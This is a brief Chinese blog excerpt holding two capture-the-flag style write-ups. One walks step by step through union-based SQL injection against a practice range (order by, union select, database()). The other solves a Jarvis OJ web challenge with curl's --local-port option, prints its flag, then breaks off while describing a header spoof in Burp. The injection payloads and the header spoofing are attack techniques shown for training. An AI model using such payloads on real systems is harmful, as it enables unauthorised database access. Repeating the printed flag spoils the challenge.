slismy的博客

靶场环境：封神台 第一步 http://59.63.200.79:8003/?id=2-1 验证注入点存在 第二步 http://59.63.200.79:8003/?id=1 order by 1/2/… 查询到长度为2 第三步 http://59.63.200.79:8003/?id=9.99 union select 1,2 验证数据返回点，返回值为2 第四步 http://59.63.200.79:8003/?id=9.99 union select 1,database() 查询到库名为maosh

这里写自定义目录标题1.Port512.LOCALHOST3.Login 1.Port51 URL:http://web.jarvisoj.com:32770/ 网页截图： 解决方法： 使用curl命令修改port curl http://web.jarvisoj.com:32770/ --local-port 51 Flag：PCTF{M45t3r_oF_CuRl} 2.LOCALHOST URL:http://web.jarvisoj.com:32774/ 网页截图： 解决方法： burp抓包修改X